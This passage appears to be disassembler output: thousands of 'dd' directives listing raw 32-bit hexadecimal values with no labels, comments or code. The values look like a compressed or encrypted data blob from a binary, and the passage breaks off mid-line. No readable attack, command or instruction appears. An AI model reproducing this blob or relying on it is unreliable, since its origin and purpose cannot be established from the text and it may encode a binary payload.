dd 907C8A00h, 0AC05B4E3h, 29B0C71Fh, 0F32482D1h, 1EFE1068h dd 80880CA0h, 0A9BBCB44h, 198D7018h, 0A1718CE1h, 507F04A0h dd 0E92C1503h, 63F94EBh, 5A12043Fh, 0D0573820h, 46F62960h dd 0F240F1C1h, 44630616h, 210A7E0Bh, 2C006BE2h, 8B708833h dd 74C8B952h, 4BD0448Ah, 6E2FB40Fh, 0D4A1E053h, 22ABE592h dd 3F181E26h, 0D29999FCh, 95D500FEh, 506D123h, 18C7567Ch dd 983EC7Ah, 57290596h, 0D1074Dh, 802FB808h, 1909E288h dd 47F391Ah, 704489E8h, 0E004C9A8h, 0D80071D5h, 0F05BE7C1h dd 0A0FD3F51h, 0B9D9C540h, 979A8140h, 8083E9E1h, 9CA53049h dd 7620910h, 0AAD1ED7Ah, 21744670h, 9B61911Ch, 2342719Ch dd 0E8297FDEh, 62CCEA80h, 0F966782Dh, 2FE168C0h, 103A8A0h dd 148EB628h, 431F7E00h, 655D253Ch, 2DD11DEBh, 21691864h dd 43013710h, 17C54DACh, 0FAF18E12h, 1790A04Ch, 19CE564h dd 7E76C098h, 4FF98003h, 0F8143B86h, 0A8A602BCh, 9F8ECC15h dd 0AC528CA0h, 4100D86Ch, 25E1068Bh, 7E7985h, 4BF4D6FEh dd 0A90201F7h, 0B5685763h, 433900A3h, 361FC321h, 3700B28Bh dd 0B8DCAF9Fh, 3641DDEh, 87BB1516h, 0CCE54E2Ah, 20A089B4h dd 87000A3Bh, 46D8EE35h, 0FA90BC6Ch, 0F853044h, 3F48C4B9h dd 0F4EF5400h, 76B6CF9Ch, 22590B33h, 0D8983AA1h, 0C4A87CE1h dd 0F898B80Eh, 18AC33Fh, 0C410041Bh, 0C0705049h, 298660E8h dd 9936C1E6h, 85616F0Ch, 0E6CE7116h, 0E96D05CBh, 0C13DF7C3h dd 7075C130h, 0D770A3F0h, 0EA9B188h, 1B679D4Ah, 0A473B80h dd 9724CCA6h, 0C91C0089h, 817D1EDFh, 0C29E3652h, 0D4509329h dd 3E22F2BBh, 19009AE8h, 5351F14Fh, 0A2184D28h, 29A173B2h dd 85B8A8ACh, 0CFCE00B3h, 0C10F4C7Eh, 0E004530h, 8C9BFD32h dd 50C93905h, 4059ACE3h, 0D300A73Eh, 44BE9FD9h, 1541EAAh dd 313BA940h, 0BDAB29ECh, 0E7DD0059h, 0CD5E45AFh, 1F8800A2h dd 1BEF0D46h, 0FA244F4Bh, 474020B9h, 0B8E724h, 3716AB22h dd 0D128ECC8h, 68832C2Ch, 5344600Eh, 0F06A0C63h, 43B88834h dd 0DD228Ah, 0AB2FB378h, 34B1AABDh, 0D55B7104h, 0A0909266h dd 1CE20AC3h, 98BF7908h, 3D5ED985h, 0FF7C0400h, 18265D77h dd 89AE02ACh, 627B344Dh, 0C100804Eh, 0F82D83FEh, 6ED1062Ah dd 1E66F9A2h, 3F2651E7h, 1D4024FEh, 23C0A5Ah, 7FF3DC1Ch dd 54482C1Eh, 31C00CB9h, 0A3164A38h, 486101E3h, 0DFAD6EB3h dd 86642D8Bh, 0B031E4B8h, 8A5601BEh, 44CDFDFAh, 3D208339h dd 1A01A61h, 0EA5C7891h, 0C086E20Fh, 0F700549Dh, 1BC98812h dd 0AB0DBAh, 0E729813Fh, 7E93190Fh, 4C865726h, 5F137F40h dd 11709061h, 7C7C89A3h, 962CC44Ch, 0CDC6731Fh, 1680F445h dd 442CBEA2h, 0D07F2904h dd 0E8E938B4h, 7E311900h, 89F22F72h, 0B2E65Ah, 0C560D73Bh dd 0C21A7B99h, 8305D60h, 5428355Bh, 7E8AA0EFh, 0D66D013Dh dd 11840D02h, 5208981Ah, 0AEA0161h, 2BB1E6C2h, 138C82ACh dd 0F4800979h, 0EE2D36Ah, 4B58B00h, 0DEBD1B4h, 9DCC1210h dd 0D97019F5h, 4EE7D833h, 577A320Ah, 60EF64BFh, 23F43B24h dd 11140062h, 5BF15904h, 0C57C0FCAh, 0B9002176h, 0B34EDEF5h dd 54DDAB20h, 60E1D8D1h, 56B4697Bh, 0AC7803D5h, 0ED219500h dd 4883673Ah, 10413C6h, 90DC67B5h, 95250943h, 0E86F458Ch dd 150F433Dh, 60BDA86Dh, 0B1015C5Ah, 8184A82Dh, 26AD005Bh dd 0C86D3C7h, 0CB75E4D4h, 26D290Eh, 21E2BB5h, 2103D864h dd 0BC2D809Eh, 0C61F03F1h, 3F578F71h, 1E803411h, 85152381h dd 0A558112Bh, 0E6F4C8FCh, 606149FEh, 48A89AD8h, 0AFCCB5C5h dd 0D66A04E4h, 0B0FA06DCh, 7F30AEACh, 8F3C5824h, 9868540Ah dd 38A661B3h, 0B0E559h, 1E53D93Dh, 382C473h, 1CCDBB3h dd 0F3AF4904h, 0ACC02071h, 15C1A314h, 18DAA794h, 6F37FD00h dd 551D49F3h, 0C051EA30h, 1F5D355Ah, 4099E5D6h, 3DC65911h dd 581F8C85h, 7D813F86h, 5F30942Dh, 3FB3F060h, 8D80A2BDh dd 12C4D756h, 0A379314Fh, 78410618h, 0C476E80h, 0BBEFC548h dd 960A44B8h, 9CD3B154h, 1B035111h, 4C249B93h, 7D501107h dd 95812C23h, 0C061099Ch, 4CC1A002h, 4458040Ch, 627526A5h dd 11FCA020h, 50B84310h, 15C7D52Eh, 0A881E66Ch, 7C92B100h dd 0F3221C78h, 201A6600h, 271961B5h, 98AE07F5h, 50FB9471h dd 4B94E3Eh, 58345332h, 1704C4B5h, 95F3FFh, 85E1187Bh dd 0A7030E5Bh, 0A81AC125h, 7A89013Eh, 0E2128030h, 7179F0C3h dd 4FFE9300h, 30746C7h, 11FCB1A5h, 94F5009Fh, 0B24F8831h dd 276900DCh, 0DDDFFC47h, 23098FCEh, 9029FF1Ah, 7E7FC3B8h dd 2D475C77h, 11D4A1Eh, 3983AE09h, 0D937E180h, 0B711DC7Dh dd 7E0D1507h, 849AE968h, 981EBD80h, 6DC3CBh, 0A16348BBh dd 28EF01ECh, 249BD895h, 208D2438h, 0EAB900BCh, 2E763382h dd 7036562h, 0AF47FE05h, 202CE250h, 85481975h, 0DC01B67Dh dd 944D71E0h, 90E8C395h, 44D91D68h, 73DD49h, 0E2335A92h dd 1800CEECh, 1E72B69Ah, 0B214FAh, 3DB9BE7Eh, 24D546F5h dd 7D5CC600h, 843AEFAAh, 42860C30h, 523843C8h, 0FAC17600h dd 0F4BFD8A6h, 18F66378h, 0EEA00FE0h, 0C2EC8DDDh, 1E67DF3Eh dd 958372D8h, 9806B833h, 1EFC0E13h, 18ECE799h, 9C67383Dh dd 1C816601h, 7FA0E2BFh, 1533460h, 80627E9h, 209A9F6Dh dd 8360522Eh, 7B311830h, 431A0049h, 0EAB3969Dh, 88C0F335h dd 2DBB5746h, 48F659h, 97D30711h, 0B932BE6Dh, 0ADEF3000h dd 66F142FEh, 0DC0E30DFh, 0AC5B9650h, 47160F00h, 27FBB446h dd 0F55503EFh, 0F8C378FAh, 18683CA8h, 0CF693460h, 0EDA656h dd 6B02E862h, 4C06C9B3h, 3F6D6C00h, 0C14B7538h, 0EB290EF0h dd 7C838BE3h, 0C3CF8519h, 0C8158260h, 94C32Eh, 0A1A2A7CDh dd 1E36D35Ah, 8002D94Ch, 3C3051B2h, 8A0033CCh, 0AC6FF96Ah dd 1D96285Ah, 16E350h, 97229CE0h, 0C10636A0h, 0CB431365h dd 0C03E7C09h, 9DAF0220h, 18E0DBBBh, 448A5F00h, 0A77AE68Bh dd 92E6DDh, 0C7DA0188h, 0EE5AD46Dh, 9CDF7019h, 72184F68h dd 15DEA05Ch, 223414ADh, 0AA070066h, 0E85DDA9Dh, 46008C11h dd 2FA40BB5h, 620D105h, 9CB31437h, 0CDEE3042h, 0EE7B7C79h dd 930761DFh, 5AB3EAE9h, 4DE923D4h, 9A07001h, 197DC1h dd 9D48D540h, 22A2FA00h, 0A927F217h, 7B0B01AFh, 4A404104h dd 0C7CE2097h, 8D60B467h, 0B5646200h, 9C7606B0h, 0A1DFA73Bh dd 7F0C4000h, 20B96A68h, 815F06B3h, 21E3B06Fh, 80D5733Ch dd 93F3B216h, 0C0C5BA31h, 4CA68548h, 0E00639Ch, 1BDEACD9h dd 2CA8Ah, 3D83FDA9h, 0AB105F73h, 0BFEB4800h, 0B174DCA6h dd 4F580080h, 0DD51BA0Bh, 0B0FCDAEAh, 1100D87Eh, 78EB3368h dd 0FD0F7Eh, 0C7326490h, 4B493D40h, 19BDF907h, 0D01026C1h dd 36EB545h, 286D119Dh, 0A7C87268h, 0FC0E6193h, 8060C843h dd 42C9F9AEh, 0F5CB00E0h, 0AC25405Fh, 0DDF071D6h, 0D5A4B600h dd 0FBC02A89h, 1A58DF04h, 4176105h, 6B7C005Fh, 68ED5529h dd 0C9503Eh, 2AB67DEh, 13E9489Dh, 0B6B8C38h, 930011CFh dd 23C487ECh, 5DD8120Ch, 84052941h, 4207E222h, 8E3C08E3h dd 39210811h, 88175088h, 388F04Fh, 843D909Ch, 0AB48636Ah dd 99200944h, 0FA808F2Ah, 0C5B60406h, 44EF57ECh, 354A7AA9h dd 78F0C28h, 0BE443329h, 3817FBEEh, 2401B842h, 131A211Fh dd 7907AD13h, 0AE6A2103h, 81CA3270h, 0AFD100FBh, 1E09C7ACh dd 0B507A358h, 66F74354h, 0FC053C50h, 3F1B0017h, 0E9FDC08Bh dd 940045C2h, 0F2DC4C2Ch, 3B4F0CE1h, 2B008066h, 60B9FCA1h dd 613C7BA0h, 67598F39h, 271480B1h, 3C320C9Bh, 0A880E3AEh dd 2A52B5A9h, 0DB0077BEh, 1BA35F7Eh, 3DA739CBh, 298362Fh dd 623BDCCFh, 604D6800h, 25495C3Dh, 0D85E0FCDh, 3208E37h dd 657B7A74h, 0A503900h, 0D56B7D61h, 99A20B5Fh, 0C80B70Ch dd 483820D0h, 0B3079A70h, 0AA188A40h, 8CB49D90h, 0D1D3038Eh dd 8510AE2Ah, 293FF0B7h, 0C900A675h, 0B627396h, 90A0DBh dd 0E2B080D4h, 0D50E70CDh, 9C00B8EEh, 5916A76Ah, 15E84CEh dd 0D647392Ah, 6089B78Bh, 3F00103Eh, 0C3C8E794h, 1F89EE4h dd 96A3AA78h, 244DD23Dh, 0B6027B70h, 8D8F172Eh, 3698A1E8h dd 0C630A202h, 6975F4h, 65DB3321h, 0C85D712Eh, 0D7206D00h dd 0B60852AFh, 95E02Ch, 0B2A79FC5h, 8F7A47B0h, 0D921911Eh dd 73402037h, 858346h, 19D8C28Eh, 50C11E88h, 9528B101h dd 63AB9B0Fh, 0E5D3CCCh, 6AE9F585h, 0C4487D2Dh, 1480B306h dd 0C4E409A6h, 7028895h, 8280346Dh, 0BB3F0D1Dh, 200089E8h dd 8FEA522h, 78D0ADh, 8AE5AA87h, 0DD4A9364h, 73B4A100h dd 0E97D01BEh, 2A61385Ah, 0E16E7480h, 224752C3h, 1B00B4EAh dd 0E892C6B7h, 0EAEF162h, 99FA3A1Eh, 8FFB080h, 96E86DBAh dd 0DE09CDA0h, 4E953400h, 4B9262Eh, 0C2B800E0h, 0BE10FE0Ah dd 0CD00583Fh, 32CCED7Bh, 7B6C2521h, 6E601F8h, 2A666015h dd 417FCC4Eh, 9D827703h, 0E0572E52h, 78BE23A6h, 73763DFEh dd 0D8CF8D81h, 0F8EFE4FCh, 1800FADAh, 2BAB9AA4h, 4E3319h dd 182656Ch, 40B0A30Fh, 8094393Dh, 0D2EA30BFh, 0AB8CFDh dd 3AC07BE4h, 0F5BECDDAh, 0D9D8C700h, 4A687290h, 2DE29Bh dd 6BFB079h, 1CB8F6B9h, 0DB62BD01h, 6912D2D7h, 86E0A840h dd 0B2130076h, 0E616D4C7h, 0C03B9545h, 0A26000AFh, 4DF51D29h dd 1FC27CFCh, 41E1A972h, 0C44526BCh, 0F0DCF8DBh, 0CB5AA800h dd 0D34CBFE8h, 0F327008Fh, 70B7631Ch, 65006F3Fh, 0BD7693A0h dd 0F001E161h, 0A81F077Ah, 406CE478h, 1C1377E9h, 7FE0D000h dd 0DEB090ECh, 0CED300B2h, 2EE66E1Fh, 5FFE9C6Ch, 127DA800h dd 607154EFh, 0BA620015h, 38B5290Ch, 9A079805h, 0BC83B1AAh dd 90FA2CF0h, 0A48903D1h, 0AEBA39F5h, 9C15FEF0h, 5B3A2892h dd 870F8082h, 2639C623h, 90C200AFh, 557C2E12h, 7D032CEAh dd 0BC9728BFh, 0BAC4A853h, 0A96907DBh, 3022F9F5h, 85EEC861h dd 34328F00h, 0B0877366h, 76E60021h, 0CBFF405Ch, 0EA009A2Eh dd 3E5E5D92h, 0C0EE22h, 88797BE6h, 545501D1h, 64752C00h dd 0EE969082h, 0A3373A1Ch dd 6D1D6800h, 0AC36801Fh, 8147C300h, 0ABB4D046h, 37EA002Dh dd 22CA9F27h, 8B3C0330h, 91808062h, 347C36ECh, 0A93B038Dh dd 9687388Eh, 0E7F094F0h, 9F513Fh, 4877D4D8h, 3FDB7C56h dd 0FEB92784h, 85554D80h, 0F8D43874h, 5AE80701h, 9F11F6E1h dd 0D93DD0h, 0B189B29Dh, 868E7317h, 0A5ACD800h, 155E0913h dd 28B00094h, 326351E0h, 9704D9BDh, 2A72E587h, 0F00E7C83h dd 1EB1D7h, 5C5EAB2h, 6143D12Eh, 2FB8FB00h, 71173DD4h dd 0F65800D7h, 0BA4AA2FFh, 0BB017A37h, 0B5E98D31h, 89EC6DD8h dd 0A94E077Bh, 70EB6F2Ah, 0DC0449D7h, 44960207h, 46601795h dd 763997h, 30DECF85h, 0E3BAC83Ch, 8C459605h, 81BEF298h dd 0D49C33B4h, 3798E6F3h, 3D7BA800h, 575A611Bh, 77C13h dd 85AE914Eh, 0E9D7B576h, 8E0F3F38h, 0E09C2D0Dh, 8F6346BDh dd 6F5200E2h, 4884F422h, 47003BF2h, 82E4A108h, 498372h dd 0CF1A0137h, 42449052h, 2A54BA01h, 0E8870A4Dh, 0F038DCh dd 7B3495EFh, 32B4086Ah, 0CB97300h, 1834CA3h, 0BA170070h dd 18305276h, 4F035AB5h, 316AEA7Fh, 0BB7DC8AEh, 8767032Dh dd 2B437812h, 0D6A038DBh, 8200549Fh, 9E83790Dh, 336A8Ah dd 26C1662Eh, 0A230815Bh, 0CD149100h, 0BD5A0978h, 7ECE0083h dd 685FF9Bh, 3B00B4D2h, 5E67AC30h, 0FB9162Eh, 0FEC563E5h dd 1DC21920h, 0D601642Ah, 94AF201Eh, 0DC407CCBh, 0BFF669h dd 6056C9DEh, 81442A37h, 3D991348h, 0B4500043h, 309067E5h dd 0C2FA0083h, 0DEAD247Bh, 6C00EF9Bh, 5828FCC8h, 2477B2D2h dd 20034EB9h, 907EDCh, 841CB085h, 214AA5B4h, 6B2BCCC0h dd 7514289Dh, 230D0368h, 6AEBF61Ch, 7910C798h, 8737DC00h dd 714DF4DBh, 546100FCh, 2C32D02Eh, 39ECB8D8h, 0F70C8A00h dd 562D78AFh, 0B0235873h, 0F96CD200h, 19A3E51Bh, 5AA538h dd 4F34E60Dh, 0E12B90h, 73C12664h, 90E24FFh, 4563903h dd 0A083203Fh, 2457235Ah, 45ADA4h, 0AB38B4EDh, 1D07B84Dh dd 0C740C070h, 0E00AF701h, 0A5EC37C5h, 7ED30519h, 801A56EEh dd 516BB21Eh, 1CB83F3Eh, 68415ED9h, 0B7F0FA50h, 0ED8BF0h dd 19A04461h, 0EE6C7D69h, 0C210FB24h, 4192A503h, 2338A090h dd 481300C1h, 4C8FD1E2h, 687F3A36h, 0B26027F4h, 84376610h dd 0FF4838C0h, 5840C300h, 0E193D7B9h, 0B700977Eh, 0AD537195h dd 0EE6DDCF7h, 0FD3C3884h, 0EB286700h, 831DA64Fh, 8BBDAD03h dd 0F8165B0Fh, 927B0Bh, 0F31F3DD2h, 59B5E762h, 0B9E54700h dd 0F9C3C99h, 0C0EC00ACh, 0C76CBF4Dh, 0B00BCABh, 99571FEEh dd 9052038h, 802CDA60h, 17F3B283h, 612A880h, 40ECA000h dd 0DF36A491h, 0C6CF0089h, 0ABC37A18h, 1918C1E7h, 9E218FFFh dd 1B7E004Bh, 7609FC5Eh, 0C9059BA7h, 494BCD8h, 33ECD080h dd 0EA4F7B67h, 238D28E7h, 913600B0h, 254D62D1h, 5B0008FCh dd 0E1AD4953h, 9BFFCAh, 1C379841h, 0C6E3508Dh, 8820BD00h dd 285DBF24h, 77CF6E2h, 9E44F626h, 668730D8h, 9D00A8F7h dd 0BA4E3780h, 0B55985h, 0AA2DCF60h, 3F25E3B4h, 27E1541Dh dd 1D01AD47h, 7DE0402Fh, 0C0095Bh, 8DEF74B2h, 6EC768ACh dd 7F3AC601h, 0E558CFE6h, 7D9D95CCh, 872900C4h, 0AF39912Ah dd 0B600C0CBh, 169663B8h, 38AAE5h, 29BDF42Fh, 0B4385D3h dd 56971A00h, 7D23FBECh, 2F5C004Dh, 0A88C2072h, 0F01CF11h dd 0AD71D6EDh, 4C20E8C9h, 88E73943h, 0D4006CC8h, 0EBA7C489h dd 0B5002068h, 0F84B99F2h, 0F43C9EB8h, 28340038h, 0C27C5C9Dh dd 0F10231A3h, 6078068Eh, 959C8064h, 92FCF1Ch, 835061A7h dd 0C037CC04h, 0B6E2808Fh, 0B27AF000h, 97BC5D01h, 4FB32E14h dd 708E18D1h, 0A400631Eh, 8D3EC662h, 0C0536A06h, 490E8359h dd 0E3003BA9h, 4DD8CD0Ch, 3E0A96h, 3C4ACBFEh, 0DF13F163h dd 0EFD67700h, 55A42FBh, 78EE006Dh, 0C5BBC914h, 0A0090E57h dd 15432E2h, 798A5C23h, 1E705CCh, 1DBDB57Dh, 0D002367Fh dd 0E003493Dh, 0BF5C0B89h, 5A7788E6h, 8C7800C4h, 8FC522FFh dd 823E06A2h, 0A8C330A7h, 0D5E97Bh, 744690E0h, 0B8E4B693h dd 0D1E30900h, 0A8CA2ACFh, 89BE00EEh, 7D4D0E84h, 0A2052F0Bh dd 0ADC51E98h, 0A52A96C0h, 3B9B016Eh, 4FF6DBFCh, 0CC67208Dh dd 0EEB0B300h, 2D02B7A7h, 7A1C7C32h, 0C866075Bh, 33D09A38h dd 0F800E448h, 9014D2B1h, 165E368h, 1D157ACFh, 0C03799D3h dd 7D007252h, 0D0CDB34Bh, 175A59Fh, 8581E6Eh, 0FCA069EDh dd 4E2CF06Dh, 0E70FCCEAh, 52F5C045h, 0C8F343h, 18F48E0Ah dd 0C01A398Bh, 653CBF00h, 0F04F0838h, 89BC0072h, 68B03FD9h dd 3A98B77Ah, 0B5E46F50h, 0A5F80F60h, 35E744h, 5BA7C716h dd 0A84F5DF7h, 0F49CA906h, 3A180C2Ch, 89921738h, 7C910065h dd 61454AECh, 0FC3EC309h, 57A8000Dh, 1EB831Bh, 0FE4CDB93h dd 80B2ADC7h, 0D37AC9C1h, 0D29076h, 0BCE70AECh, 0B452F74Ah dd 0CFF9B900h, 76D92E66h, 988CF257h, 0C0A80046h, 0E5331CEFh dd 7C0A0FA2h, 0F0F99E72h, 65D58B02h, 4A1C0B0h, 94800023h dd 0EBB29708h, 0DA0005DFh, 9A1CF1FBh, 7D1EF4h, 1230D40Fh dd 7495BB5Bh, 0FAD39C00h, 0CBCAB8D5h, 0CE2B148Ch, 0D704F04Eh dd 0EB7431Ch, 20AF4942h, 2674EF60h, 5CDCE986h, 5309AF9h dd 8DE837A8h, 0AB67C00Ch, 750342B7h, 411DA27Bh, 2DE3C0E2h dd 94010099h, 4049AC37h, 9FF48CC9h, 683F21F0h, 78308084h dd 0EB34F989h, 76D3E6D1h, 94D531BAh, 0D882B139h, 0B2008650h dd 0D99EECC5h, 0E8A08E5h, 0C4A49303h, 68838B20h, 0D492FE69h dd 9BAA8000h, 0EF379E7Ch, 49CF0110h, 0A91BEB46h, 4040CA11h dd 510059F8h, 5CC73870h, 3D58EBEh, 159C50ADh, 80B4CF0Ch dd 3ED89620h, 0CCA62628h, 0EAEAF0ECh, 0FEBA1500h, 635A975h dd 69AA009Ch, 1F5AD4AFh, 0D275EE0Fh, 8DA34003h, 120BB5Ch dd 82934EF4h, 30B2B54Dh, 0AF070B8Eh, 0F5E7502Ch, 144FA340h dd 7E63DCAh, 0D8FD0580h, 0B9C8F80Eh, 0D33FC000h, 0ED035841h dd 4350068h, 91385618h, 3A2EEAF5h, 3D8B1Bh, 0E3F2CDE0h dd 7755FEh, 0E86EEB95h, 0B1985AFBh, 86AEF000h, 111A9E74h dd 0BBC5008Eh, 0A43FA1FEh, 317885DAh, 532A3900h, 1269D52Dh dd 4F4D006Dh, 0C7784B1Dh, 0DD0077C3h, 61FF0CFBh, 39F5853h dd 4464D43Eh, 27D92932h, 0D0DAD838h, 3DBD8500h, 0F6C0CFC1h dd 55CD1CABh, 0B62D4033h, 88717220h, 0CAAAB700h, 0EDA55B97h dd 0E46A0017h, 4BF4E719h, 0D8003FAFh, 8623A820h, 1ED2F8Fh dd 97491847h, 0C44D749Dh, 30F84632h, 4FD1BC1Dh, 65FAF100h dd 1EB80C53h, 1E8479CEh, 0C88741A9h, 0F42FD36Eh, 0F800A8EAh dd 2E326A92h, 3369A6Bh, 287A1DE0h, 8FD03B19h, 30EAA23Dh dd 11342600h, 0F99531EFh, 9A51004Eh, 66CE5EB2h, 0EB009774h dd 0B1B7D0Dh, 1F830E27h, 0BE2D08D8h, 7B9A7C80h, 0D247B058h dd 96BCE00h, 380A71E6h, 77430F7Fh, 6A67010Dh, 119F124Fh dd 0B4DE080h, 13ECF786h, 8F563E3Fh, 7DCDE817h, 9CCB6F0Ah dd 8A95EF00h, 0F073C7Eh, 0C4C8A558h, 0B714BE80h, 280072D3h dd 90A69B1Bh, 0A03357h, 0D1AABCD4h, 5EFEC5D0h, 0A4CA3428h dd 9AFCCE10h, 16001458h, 91EC7ED8h, 8900E83Dh, 426BEFD7h dd 61A9FCh, 0C722D086h, 579172AFh, 99DCD900h, 0F3DB5562h dd 363D1804h, 493BC84Dh, 0B42CB900h, 0A1ED5C91h, 19EE00F6h dd 53D7E6CBh, 0A90010F2h dd 0CC76C8B1h, 6B8CAFh, 90635A0Dh, 0F2A80673h, 547FCE72h dd 0E507400h, 2C86D787h, 45272815h, 0C4F948ACh, 14181F00h dd 60720CAFh, 4B284EE4h, 0B207F2A3h, 0D617255Ah, 60978172h dd 3ADDF8E3h, 5804C69h, 7AE2FB5Ch, 3B00D1C2h, 0BF5FAED5h dd 0FE3FCD46h, 9F4E001Dh, 761BFC74h, 0C5009C53h, 593DB34Ah dd 309972Dh, 128BE4B1h, 0D392C4E6h, 2560F0E2h, 90E206A1h dd 0BE9BFE1Ch, 0DB132681h, 3CD4F195h, 3A6E2420h, 729200D8h dd 643F731Ah, 6900EF79h, 8D71047Ch, 226521Dh, 738B6AE5h dd 8CE001C1h, 0FD000B05h, 0E6C74DFBh, 1ED57720h, 0C3D976B7h dd 0B54AC9E8h, 70C68BD8h, 91A890A3h, 5A01C795h, 96EFC4B9h dd 0D0407A60h, 359F011h, 0E7E86880h, 0CCA0FA27h, 2C017F6Bh dd 0EBD30EAAh, 66804909h, 0C0BC1D9h, 841C9BADh, 0D3C9F9E9h dd 0B25B01A0h, 0A0FFA915h, 3A55DE90h, 160020C2h, 4FC00E2Ch dd 0EA003EC9h, 9B4E6228h, 268752h, 2AAA764h, 72BC2406h dd 42E6F200h, 74117D92h, 2A8728A0h, 40FD09BCh, 0DC02F3C3h dd 0F0488641h, 2500E1ABh, 0CAC9F96Fh, 72D214Fh, 0F8285A7Ch dd 0B97280B1h, 25FC9F83h, 1C98A500h, 0E2D70984h, 9E9F235h dd 0BB0DB6A6h, 1EA9C80h, 0D43C46DAh, 5115182Eh, 63C478h dd 0CDE42B6Fh, 91058B23h, 0F0008FE4h, 0FDA39C75h, 7DFEA7h dd 0FCDC9BBBh, 7E3FE96Dh, 7EC67826h, 80EC300h, 3BB99D33h dd 861413DEh, 0BA00F839h, 3B49F26Bh, 0D64CFAADh, 7A3CF1h dd 27BF1387h, 0F5BF4C7h, 3FDBC333h, 701A6040h, 0D30FAD1Dh dd 0C04507E5h, 2363250Fh, 0B2F00B2h, 150AD1EFh, 0F890E455h dd 7600F5E6h, 0FB934A3h, 4C63DBh, 5C9E0526h, 0AD6C65A6h dd 0E2042919h, 10C41CE0h, 4E6A00F6h, 2C7A320Ch, 792496DEh dd 380020A3h, 0B8A0E053h, 90300023h, 0D5B7C184h, 8D04C7DCh dd 8E6C1139h, 89770CC3h, 80EA796Bh, 2A537FA8h, 1C4E40FDh dd 3AD73203h, 80ABE5BCh, 8C2F5Dh, 4051296Eh, 2688AD65h dd 53734C01h, 8044AA83h, 33A6ECh, 3B087A6Ch, 0B5FB5F89h dd 0D581D114h, 72A054B0h, 840FE0F2h, 0C4E627BDh, 1890F6EFh dd 1D4215Eh, 0FDBE9967h, 0E472235Fh, 70007C13h, 7351038Dh dd 1D5CD14h, 0A90E83DBh, 0E86BD18Ch, 600CCEAh, 3C0F2B1h dd 79FCBA5Ah, 0ED7D9Bh, 0F6E29740h, 8A2E0817h, 5D705700h dd 1CDFE855h, 7BDE0083h, 0C251F1DCh, 849852BEh, 29B8A401h dd 0FF9A7D5Bh, 0B8CE07D8h, 0D1DC0EA5h, 1D009031h, 71D37357h dd 9622BD00h, 934F2AD4h, 20F85C43h, 0C4800D00h, 0E5EB8470h dd 0E5B048h, 0DED9A5DFh, 31489Bh, 0EEB3DCE2h, 328F6022h dd 89A196EBh, 2017310Fh, 0AA36BF59h, 57D40077h, 8AC23D66h dd 0CD050ECBh, 0ED2B74F0h, 393218C1h, 771E3EF7h, 47F0800h dd 2E37B18Dh, 0DF9AD509h, 1A20806Eh, 1D99A159h, 0F9F8DE19h dd 0E70083B8h, 500EEA58h, 30006CB3h, 0F6DB61F5h, 2C84241Dh dd 354DA69h, 5546049Ch, 15D41E00h, 7FD353E3h, 0F4F008Bh dd 5D7733CBh, 0A0A0A4FAh, 51002A74h, 0D3F49B01h, 19A821Ah dd 6B64678Dh, 21029F97h, 1EC7F040h, 0ABCF2316h, 193D7804h dd 0C82A7DC2h, 8937314Ch, 0E490755Fh, 8D12C55Dh, 8E000721h dd 0DDA72509h, 0CA3E0016h, 7FCD2FC8h, 6A7B0E3Fh, 73598900h dd 0B8A70A2Eh, 2F3B1F54h, 707FC0E1h, 0EDBC9DD3h, 9E18CB00h dd 0B0FB367Ch, 0B8904Eh, 9AF8D7ACh, 3A5F2170h, 338D5D00h dd 0EDB1BC2Bh, 0B552003Bh, 0D2B75C40h, 0AC167C87h, 580101E4h dd 0E87BEC49h, 0C81C83FFh, 7FCF7Ah, 5EEF4A6Eh, 6392EBA0h dd 0F01EFD00h, 0E2A52B10h, 0E4E6589Eh, 2271B100h, 819511BBh dd 3AEEDB12h, 8D492C40h, 21F641h, 36E43EF7h, 2BCF4654h dd 0A54BAE00h, 0FE80710Bh, 91AA01C5h, 0EF3F5A28h, 7B0DF054h dd 22005770h, 16EAFDA0h, 393B7086h, 98002A61h, 0FCDF718Fh dd 7800C1CBh, 47600C09h, 128E3610h, 4F62B59h, 8C406E89h dd 9C3F511Ch, 59545CA7h, 0DE200D0h, 0ED598DE8h, 1DBF0540h dd 0D048A276h, 0BC161450h, 186639h, 0A9D2824Eh, 0E8F2F8Eh dd 6012FDC5h, 0A0CBA480h, 7D3B4E9Fh, 0C138000Dh, 0F52F53BBh dd 445C0073h, 4778C56Ah, 0DC06DE8Fh, 9B6F9DB4h, 0E71D2E60h dd 47988080h, 0E3D305CCh, 0E6772702h, 0C0AE8622h, 0F86D2F5Ch dd 0F57BABh, 8C90AD2Eh, 0CF065AC0h, 27868F00h, 3641800Eh dd 0D6340044h, 42FD6102h, 0B01BA7Eh, 4E247C99h, 4BD073F6h dd 105C9A6Fh, 17335F84h, 240F2760h, 0FA8FC0FEh, 25B92Bh dd 1FEB9688h, 0E6437207h, 77044FB0h, 1905C7FEh, 47509480h dd 57B80501h, 0E27A81Ch, 807F8088h, 0ED835559h, 1025848h dd 0D05DABA2h, 0CB0498Eh, 0AF443906h, 334224B7h, 0BAA80E01h dd 0FE604C2Fh, 0B5F01776h, 675C4703h, 0C030082Bh, 157533Bh dd 41E3EB1Ah, 578CF418h, 46CDA0A8h, 0D0E79DDh, 3EF0CCh dd 0C0586313h, 0FACF76C2h, 0D0864DF5h, 2E5E8701h, 3099A017h dd 4F00314Dh, 5CBE9E3Ch, 3E47D0h, 730919C1h, 0FB0880DFh dd 8015A125h, 0DA0C444Ch, 0D870809Bh, 8DAF7516h, 0F3C9451Eh dd 7AE800A8h, 57E1E6h, 55C4443Ah, 10F59233h, 90932009h dd 0D44001F4h, 70C0D579h, 143317CFh, 0E27169Ch, 20801688h dd 0CBDE1FE0h, 402E58h, 1DE724C0h, 0D46E3Fh, 120C66E8h dd 8CCDF3F4h, 0C9A37700h, 5BBFCEB8h, 0B40E0AA0h, 6B01C7Eh dd 68B1AC3Ah, 19420B64h, 1E1F7281h, 0B0E335C5h, 72DB2EB6h dd 7998C9h, 0B752C042h, 54A48A95h, 9DF62609h, 0B13F8066h dd 1E0BBE28h, 0C00FC8E8h, 0B97302AFh, 88000E7Ch, 212D119Bh dd 0F8344D2h, 0C8F0ACBDh, 5303B86Eh, 98002A2Bh, 0DD5113ADh dd 1505F18Eh, 903F1F86h, 3D267A00h, 1C632D46h, 64360F00h dd 0C48DF85Ch, 513207B4h, 601693A3h, 0AA96B9BCh, 803D9E00h dd 0F02E2355h, 0E67B0063h, 4636C6B5h, 0E83877F6h, 0C5A000E7h dd 0A90C3587h, 0D3B72ECAh, 18AF00E7h, 1B1D2120h, 1ABA4500h dd 0B30FE667h, 19E2DCh, 51958B16h, 2DDF4BF2h, 6755A100h dd 0D9E84779h, 2AC32E2Bh, 88D80E66h, 870BDDC5h, 